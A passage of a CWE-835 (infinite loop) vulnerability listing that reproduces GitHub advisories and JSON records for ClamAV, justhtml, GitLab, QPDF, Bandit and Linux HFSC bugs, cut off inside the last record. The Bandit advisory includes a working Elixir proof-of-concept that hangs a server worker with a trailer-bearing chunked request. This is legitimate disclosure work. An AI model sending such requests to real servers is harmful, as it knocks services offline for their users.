Common Weakness Enumeration

CWE-835

Allowed

Loop with Unreachable Exit Condition ('Infinite Loop')

Abstraction: Base · Status: Incomplete

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

1052 vulnerabilities reference this CWE, most recent first.

GHSA-R7MW-P665-4533

Vulnerability from github – Published: 2023-08-17 00:30 – Updated: 2024-01-25 18:30
VLAI
Details

A vulnerability in the filesystem image parser for Hierarchical File System Plus (HFS+) of ClamAV could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.

This vulnerability is due to an incorrect check for completion when a file is decompressed, which may result in a loop condition that could cause the affected software to stop responding. An attacker could exploit this vulnerability by submitting a crafted HFS+ filesystem image to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to cause the ClamAV scanning process to stop responding, resulting in a DoS condition on the affected software and consuming available system resources.

For a description of this vulnerability, see the ClamAV blog .

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-20197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-16T22:15:10Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the filesystem image parser for Hierarchical File System Plus (HFS+) of ClamAV could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.\n\n This vulnerability is due to an incorrect check for completion when a file is decompressed, which may result in a loop condition that could cause the affected software to stop responding. An attacker could exploit this vulnerability by submitting a crafted HFS+ filesystem image to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to cause the ClamAV scanning process to stop responding, resulting in a DoS condition on the affected software and consuming available system resources.\n\n For a description of this vulnerability, see the ClamAV blog .",
  "id": "GHSA-r7mw-p665-4533",
  "modified": "2024-01-25T18:30:38Z",
  "published": "2023-08-17T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20197"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/08/msg00033.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IISWNZUBAQL4MNBRKLDYG3SHTEGP5KEO"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/J2XCIZFCCDDZ34XRMTQNAHAHMVQB66U5"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-rNwNEEee"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R8CJ-3554-33MR

Vulnerability from github – Published: 2026-05-08 18:19 – Updated: 2026-05-08 18:19
VLAI
Summary
justhtml introduces denial-of-service hardening
Details

Summary

justhtml 1.18.0 fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.

These issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.

Affected versions

  • justhtml < 1.18.0

Fixed version

  • justhtml 1.18.0 released on May 4, 2026

Impact

CSS selector handling

Applications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.

The affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as :not(...), repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and :contains(...) over large descendant text.

Programmatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for :contains(...).

Linkification

Attacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.

Default configuration

Ordinary sanitization of parsed HTML with the default JustHTML(..., sanitize=True) configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.

The main risk areas are:

  • applications that accept selector strings from untrusted users and pass them to query(...), matches(...), or selector-based transforms
  • custom transform or sanitization pipelines that run selector matching over very large untrusted documents
  • applications that construct or mutate DOM trees programmatically from untrusted structure
  • applications that enable Linkify(...) over attacker-controlled text

Fixes in 1.18.0

1.18.0 adds generalized selector resource controls and removes several repeated-work hot paths:

  • shared selector limits for parse and match operations
  • structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth
  • match-operation and string-byte budgets
  • per-query matcher state for caches and cycle guards
  • precomputed or cached ancestor, sibling, positional, attribute-token, text-content, :not(...), :empty, and :nth-child(...) work
  • consistent enforcement across public parsing, query(...), tag-only query fast paths, transform selector compilation, and sanitization transform matching
  • linkification hardening for punctuation-heavy inputs and trailing bracket trimming

CWE mapping

  • CWE-400: Uncontrolled Resource Consumption
  • CWE-407: Inefficient Algorithmic Complexity
  • CWE-835: Loop with Unreachable Exit Condition

Recommended action

Upgrade to justhtml 1.18.0.

If users cannot upgrade immediately:

  • do not pass untrusted selector strings to query(...), matches(...), or selector-based transforms
  • restrict the size of untrusted documents before selector matching or linkification
  • avoid constructing programmatic DOM graphs from untrusted structure
  • avoid enabling Linkify(...) on very large attacker-controlled text

Credit

Discovered during an internal security review of justhtml.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "justhtml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T18:19:30Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`justhtml` `1.18.0` fixes multiple low-severity denial-of-service hardening issues in CSS selector handling and linkification.\n\nThese issues are availability concerns. They do not allow script execution, data disclosure, or sanitizer bypass by themselves.\n\n## Affected versions\n\n- `justhtml` `\u003c 1.18.0`\n\n## Fixed version\n\n- `justhtml` `1.18.0` released on May 4, 2026\n\n## Impact\n\n### CSS selector handling\n\nApplications that evaluate attacker-controlled selector strings, or that run selector-based transform pipelines over attacker-controlled documents, could consume disproportionate CPU or memory.\n\nThe affected selector patterns included oversized selectors, large selector lists, oversized compound selectors, long combinator chains, deeply nested functional pseudo-classes such as `:not(...)`, repeated attribute/class token matching over large values, repeated sibling or ancestor scans, repeated positional pseudo-class work, and `:contains(...)` over large descendant text.\n\nProgrammatically constructed malformed DOM graphs could also trigger non-terminating or duplicate traversal in some selector paths, including cyclic/shared child graphs, cyclic parent chains, and cyclic text traversal for `:contains(...)`.\n\n### Linkification\n\nAttacker-controlled text containing punctuation-heavy input or URL candidates ending in long runs of unmatched closing brackets could cause repeated rescanning and consume disproportionate CPU when linkification was enabled.\n\n## Default configuration\n\nOrdinary sanitization of parsed HTML with the default `JustHTML(..., sanitize=True)` configuration is not expected to expose untrusted users to selector injection, because selectors are normally supplied by application code.\n\nThe main risk areas are:\n\n- applications that accept selector strings from untrusted users and pass them to `query(...)`, `matches(...)`, or selector-based transforms\n- custom transform or sanitization pipelines that run selector matching over very large untrusted documents\n- applications that construct or mutate DOM trees programmatically from untrusted structure\n- applications that enable `Linkify(...)` over attacker-controlled text\n\n## Fixes in 1.18.0\n\n`1.18.0` adds generalized selector resource controls and removes several repeated-work hot paths:\n\n- shared selector limits for parse and match operations\n- structural caps for selector length, selector lists, compound selectors, complex selectors, and parse depth\n- match-operation and string-byte budgets\n- per-query matcher state for caches and cycle guards\n- precomputed or cached ancestor, sibling, positional, attribute-token, text-content, `:not(...)`, `:empty`, and `:nth-child(...)` work\n- consistent enforcement across public parsing, `query(...)`, tag-only query fast paths, transform selector compilation, and sanitization transform matching\n- linkification hardening for punctuation-heavy inputs and trailing bracket trimming\n\n## CWE mapping\n\n- CWE-400: Uncontrolled Resource Consumption\n- CWE-407: Inefficient Algorithmic Complexity\n- CWE-835: Loop with Unreachable Exit Condition\n\n## Recommended action\n\nUpgrade to `justhtml` `1.18.0`.\n\nIf users cannot upgrade immediately:\n\n- do not pass untrusted selector strings to `query(...)`, `matches(...)`, or selector-based transforms\n- restrict the size of untrusted documents before selector matching or linkification\n- avoid constructing programmatic DOM graphs from untrusted structure\n- avoid enabling `Linkify(...)` on very large attacker-controlled text\n\n## Credit\n\nDiscovered during an internal security review of `justhtml`.",
  "id": "GHSA-r8cj-3554-33mr",
  "modified": "2026-05-08T18:19:30Z",
  "published": "2026-05-08T18:19:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-r8cj-3554-33mr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EmilStenstrom/justhtml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "justhtml introduces denial-of-service hardening"
}

GHSA-R8F4-MX7H-29JP

Vulnerability from github – Published: 2026-01-22 12:31 – Updated: 2026-01-22 12:31
VLAI
Details

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.1 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that under certain circumstances could have allowed an authenticated user to create a denial of service condition by configuring malformed Wiki documents that bypass cycle detection.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T10:16:06Z",
    "severity": "MODERATE"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.1 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that under certain circumstances could have allowed an authenticated user to create a denial of service condition by configuring malformed Wiki documents that bypass cycle detection.",
  "id": "GHSA-r8f4-mx7h-29jp",
  "modified": "2026-01-22T12:31:22Z",
  "published": "2026-01-22T12:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13335"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3418023"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2026/01/21/patch-release-gitlab-18-8-2-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/581060"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R8P4-VPV8-P6QQ

Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2025-04-20 03:38
VLAI
Details

libqpdf.a in QPDF 6.0.0 allows remote attackers to cause a denial of service (infinite recursion and stack consumption) via a crafted PDF document, related to unparse functions, aka qpdf-infiniteloop3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-9210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-23T04:29:00Z",
    "severity": "MODERATE"
  },
  "details": "libqpdf.a in QPDF 6.0.0 allows remote attackers to cause a denial of service (infinite recursion and stack consumption) via a crafted PDF document, related to unparse functions, aka qpdf-infiniteloop3.",
  "id": "GHSA-r8p4-vpv8-p6qq",
  "modified": "2025-04-20T03:38:11Z",
  "published": "2022-05-13T01:47:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9210"
    },
    {
      "type": "WEB",
      "url": "https://blogs.gentoo.org/ago/2017/05/21/qpdf-three-infinite-loop-in-libqpdf"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3638-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RF5Q-VWXW-GMRF

Vulnerability from github – Published: 2026-05-19 19:25 – Updated: 2026-06-08 20:17
VLAI
Summary
Bandit: Unauthenticated DoS via chunked request trailers in Bandit HTTP/1 decoder
Details

Summary

A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a Transfer-Encoding: chunked request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.

The vulnerability was likely introduced with this commit on Dec 6, 2024: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217

Details

The bug is in lib/bandit/http1/socket.ex in do_read_chunked_data!/5 (around lines 242–274). The terminator clause matches only ["0", "\r\n" <> rest] — i.e. the last-chunk line 0\r\n followed immediately by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between 0\r\n and the final \r\n, e.g. a body ending 0\r\nX-T: v\r\n\r\n.

When trailers are present, :binary.split/2 returns ["0", "X-T: v\r\n\r\n"]. The terminator clause does not match. The inner <<_::binary-size(0), ?\r, ?\n, _::binary>> pattern also does not match because rest starts with X. Execution falls into the _ -> arm, which computes to_read = 0 - byte_size(rest) (a negative number) and calls read_available!/2 on the socket. On timeout, read_available!/2 returns <<>>, leaving the buffer unchanged. do_read_chunked_data!/5 then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.

The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and read_available! is repeatedly called with no progress.

The gap is acknowledged in the source itself — the comment on line 245 reads: "We should be reading (and ignoring) trailers here".

Suggested fix: after the 0 size line, consume bytes up to \r\n\r\n (parsing/discarding trailers via :erlang.decode_packet(:httph_bin, …)) before returning. Additionally, ensure every recursive arm makes forward progress — when read_available!/2 returns <<>>, raise request_error!(:request_timeout) rather than re-entering with an unchanged buffer.

PoC

A self-contained reproduction script is available below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:

  • one 5-byte chunk "hello"
  • the last-chunk marker 0\r\n
  • one trailer field X-Trailer: 1\r\n
  • the terminating \r\n

The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, :gen_tcp.recv/3 times out after 10 seconds because the worker is stuck spinning in do_read_chunked_data!/5.

Steps to reproduce: 1. elixir script.exs 2. Observe the TIMEOUT — worker is pinned in do_read_chunked_data!/5 log line. 3. Each additional concurrent client sending the same request consumes one more worker process.

Impact

Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.

Script and Logs

# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.
#
# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates
# only when the last-chunk line `0\r\n` is followed *immediately* by the
# empty trailer line `\r\n`. RFC 9112 §7.1.2 allows trailer fields between
# them (e.g. `0\r\nX-T: v\r\n\r\n`). With trailers present, none of the
# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`
# (negative), calls read_available!/2, gets <<>> on timeout, and recurses
# with the same buffer forever — pinning the worker for the connection's
# lifetime. The line 245 comment ("We should be reading (and ignoring)
# trailers here") acknowledges the gap.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST
# whose body ends with a single trailer field, and waits for a response.
# A correct server replies in milliseconds; the buggy decoder never does.
#
# Run: elixir script.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule EchoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    {:ok, body, conn} = Plug.Conn.read_body(conn)
    Plug.Conn.send_resp(conn, 200, "got #{byte_size(body)} bytes")
  end
end

defmodule TrailerHang do
  @port 4321
  @recv_timeout_ms 10_000

  def run do
    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    request = build_chunked_request_with_trailer()
    log("Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.")
    :ok = :gen_tcp.send(sock, request)

    log("Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…")
    started_at = System.monotonic_time(:millisecond)

    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do
      {:ok, response} ->
        elapsed = System.monotonic_time(:millisecond) - started_at
        log("Got response after #{elapsed}ms — server handles trailers correctly:")
        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))

      {:error, :timeout} ->
        log("TIMEOUT — worker is pinned in do_read_chunked_data!/5.")
        log("Each concurrent client sending this shape consumes one Bandit worker.")

      {:error, reason} ->
        log("Connection error: #{inspect(reason)}")
    end

    :gen_tcp.close(sock)
  end

  # Body: one 5-byte chunk "hello", last-chunk marker `0\r\n`, one trailer
  # `X-Trailer: 1\r\n`, terminating `\r\n`. RFC-conformant; many proxies
  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing
  # responses or requests.
  defp build_chunked_request_with_trailer do
    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1:#{@port}\r\n" <>
      "Transfer-Encoding: chunked\r\n" <>
      "Trailer: X-Trailer\r\n" <>
      "Content-Type: application/octet-stream\r\n" <>
      "\r\n" <>
      "5\r\nhello\r\n" <>
      "0\r\n" <>
      "X-Trailer: 1\r\n" <>
      "\r\n"
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

TrailerHang.run()
12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:36:54.275] Sending chunked POST whose body ends with `0\r\nX-Trailer: 1\r\n\r\n`.
[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)…
[10:37:04.276] TIMEOUT — worker is pinned in do_read_chunked_data!/5.
[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39806"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T19:25:21Z",
    "nvd_published_at": "2026-05-13T14:17:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA worker-pinning denial of service in Bandit\u0027s HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a `Transfer-Encoding: chunked` request whose body ends with a trailer field (RFC 9112 \u00a77.1.2 explicitly permits this) causes the connection\u0027s worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.\n\nThe vulnerability was likely introduced with this commit on `Dec 6, 2024`: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217\n\n### Details\nThe bug is in `lib/bandit/http1/socket.ex` in `do_read_chunked_data!/5` (around lines 242\u2013274). The terminator clause matches only `[\"0\", \"\\r\\n\" \u003c\u003e rest]` \u2014 i.e. the last-chunk line `0\\r\\n` followed *immediately* by the empty trailer line. RFC 9112 \u00a77.1.2 allows zero or more trailer fields between `0\\r\\n` and the final `\\r\\n`, e.g. a body ending `0\\r\\nX-T: v\\r\\n\\r\\n`.\n\nWhen trailers are present, `:binary.split/2` returns `[\"0\", \"X-T: v\\r\\n\\r\\n\"]`. The terminator clause does not match. The inner `\u003c\u003c_::binary-size(0), ?\\r, ?\\n, _::binary\u003e\u003e` pattern also does not match because `rest` starts with `X`. Execution falls into the `_ -\u003e` arm, which computes `to_read = 0 - byte_size(rest)` (a negative number) and calls `read_available!/2` on the socket. On timeout, `read_available!/2` returns `\u003c\u003c\u003e\u003e`, leaving the buffer unchanged. `do_read_chunked_data!/5` then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.\n\nThe same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and `read_available!` is repeatedly called with no progress.\n\nThe gap is acknowledged in the source itself \u2014 the comment on line 245 reads: *\"We should be reading (and ignoring) trailers here\"*.\n\n**Suggested fix:** after the `0` size line, consume bytes up to `\\r\\n\\r\\n` (parsing/discarding trailers via `:erlang.decode_packet(:httph_bin, \u2026)`) before returning. Additionally, ensure every recursive arm makes forward progress \u2014 when `read_available!/2` returns `\u003c\u003c\u003e\u003e`, raise `request_error!(:request_timeout)` rather than re-entering with an unchanged buffer.\n\n### PoC\nA self-contained reproduction script is available below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:\n\n- one 5-byte chunk `\"hello\"`\n- the last-chunk marker `0\\r\\n`\n- one trailer field `X-Trailer: 1\\r\\n`\n- the terminating `\\r\\n`\n\nThe request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, `:gen_tcp.recv/3` times out after 10 seconds because the worker is stuck spinning in `do_read_chunked_data!/5`.\n\nSteps to reproduce:\n1. `elixir script.exs`\n2. Observe the `TIMEOUT \u2014 worker is pinned in do_read_chunked_data!/5` log line.\n3. Each additional concurrent client sending the same request consumes one more worker process.\n\n### Impact\nUnauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies \u2014 the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.\n\n### Script and Logs\n\n```elixir\n# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.\n#\n# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates\n# only when the last-chunk line `0\\r\\n` is followed *immediately* by the\n# empty trailer line `\\r\\n`. RFC 9112 \u00a77.1.2 allows trailer fields between\n# them (e.g. `0\\r\\nX-T: v\\r\\n\\r\\n`). With trailers present, none of the\n# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`\n# (negative), calls read_available!/2, gets \u003c\u003c\u003e\u003e on timeout, and recurses\n# with the same buffer forever \u2014 pinning the worker for the connection\u0027s\n# lifetime. The line 245 comment (\"We should be reading (and ignoring)\n# trailers here\") acknowledges the gap.\n#\n# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST\n# whose body ends with a single trailer field, and waits for a response.\n# A correct server replies in milliseconds; the buggy decoder never does.\n#\n# Run: elixir script.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule EchoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    {:ok, body, conn} = Plug.Conn.read_body(conn)\n    Plug.Conn.send_resp(conn, 200, \"got #{byte_size(body)} bytes\")\n  end\nend\n\ndefmodule TrailerHang do\n  @port 4321\n  @recv_timeout_ms 10_000\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n\n    request = build_chunked_request_with_trailer()\n    log(\"Sending chunked POST whose body ends with `0\\\\r\\\\nX-Trailer: 1\\\\r\\\\n\\\\r\\\\n`.\")\n    :ok = :gen_tcp.send(sock, request)\n\n    log(\"Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)\u2026\")\n    started_at = System.monotonic_time(:millisecond)\n\n    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do\n      {:ok, response} -\u003e\n        elapsed = System.monotonic_time(:millisecond) - started_at\n        log(\"Got response after #{elapsed}ms \u2014 server handles trailers correctly:\")\n        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))\n\n      {:error, :timeout} -\u003e\n        log(\"TIMEOUT \u2014 worker is pinned in do_read_chunked_data!/5.\")\n        log(\"Each concurrent client sending this shape consumes one Bandit worker.\")\n\n      {:error, reason} -\u003e\n        log(\"Connection error: #{inspect(reason)}\")\n    end\n\n    :gen_tcp.close(sock)\n  end\n\n  # Body: one 5-byte chunk \"hello\", last-chunk marker `0\\r\\n`, one trailer\n  # `X-Trailer: 1\\r\\n`, terminating `\\r\\n`. RFC-conformant; many proxies\n  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing\n  # responses or requests.\n  defp build_chunked_request_with_trailer do\n    \"POST / HTTP/1.1\\r\\n\" \u003c\u003e\n      \"Host: 127.0.0.1:#{@port}\\r\\n\" \u003c\u003e\n      \"Transfer-Encoding: chunked\\r\\n\" \u003c\u003e\n      \"Trailer: X-Trailer\\r\\n\" \u003c\u003e\n      \"Content-Type: application/octet-stream\\r\\n\" \u003c\u003e\n      \"\\r\\n\" \u003c\u003e\n      \"5\\r\\nhello\\r\\n\" \u003c\u003e\n      \"0\\r\\n\" \u003c\u003e\n      \"X-Trailer: 1\\r\\n\" \u003c\u003e\n      \"\\r\\n\"\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nTrailerHang.run()\n```\n\n```logs\n12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[10:36:54.275] Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.\n[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)\u2026\n[10:37:04.276] TIMEOUT \u2014 worker is pinned in do_read_chunked_data!/5.\n[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.\n```",
  "id": "GHSA-rf5q-vwxw-gmrf",
  "modified": "2026-06-08T20:17:20Z",
  "published": "2026-05-19T19:25:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-rf5q-vwxw-gmrf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39806"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-39806.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39806"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bandit: Unauthenticated DoS via chunked request trailers in Bandit HTTP/1 decoder"
}

GHSA-RH23-W5X7-XJM4

Vulnerability from github – Published: 2025-06-06 15:30 – Updated: 2025-12-17 21:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

net_sched: hfsc: Address reentrant enqueue adding class to eltree twice

Savino says: "We are writing to report that this recent patch (141d34391abbb315d68556b7c67ad97885407547) [1] can be bypassed, and a UAF can still occur when HFSC is utilized with NETEM.

The patch only checks the cl->cl_nactive field to determine whether
it is the first insertion or not [2], but this field is only
incremented by init_vf [3].

By using HFSC_RSC (which uses init_ed) [4], it is possible to bypass the
check and insert the class twice in the eltree.
Under normal conditions, this would lead to an infinite loop in
hfsc_dequeue for the reasons we already explained in this report [5].

However, if TBF is added as root qdisc and it is configured with a
very low rate,
it can be utilized to prevent packets from being dequeued.
This behavior can be exploited to perform subsequent insertions in the
HFSC eltree and cause a UAF."

To fix both the UAF and the infinite loop, with netem as an hfsc child, check explicitly in hfsc_enqueue whether the class is already in the eltree whenever the HFSC_RSC flag is set.

[1] https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=141d34391abbb315d68556b7c67ad97885407547 [2] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L1572 [3] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L677 [4] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L1574 [5] https://lore.kernel.org/netdev/8DuRWwfqjoRDLDmBMlIfbrsZg9Gx50DHJc1ilxsEBNe2D6NMoigR_eIRIG0LOjMc3r10nUUZtArXx4oZBIdUfZQrwjcQhdinnMis_0G7VEk=@willsroot.io/T/#u

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-38001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-06T14:15:22Z",
    "severity": "MODERATE"
  },
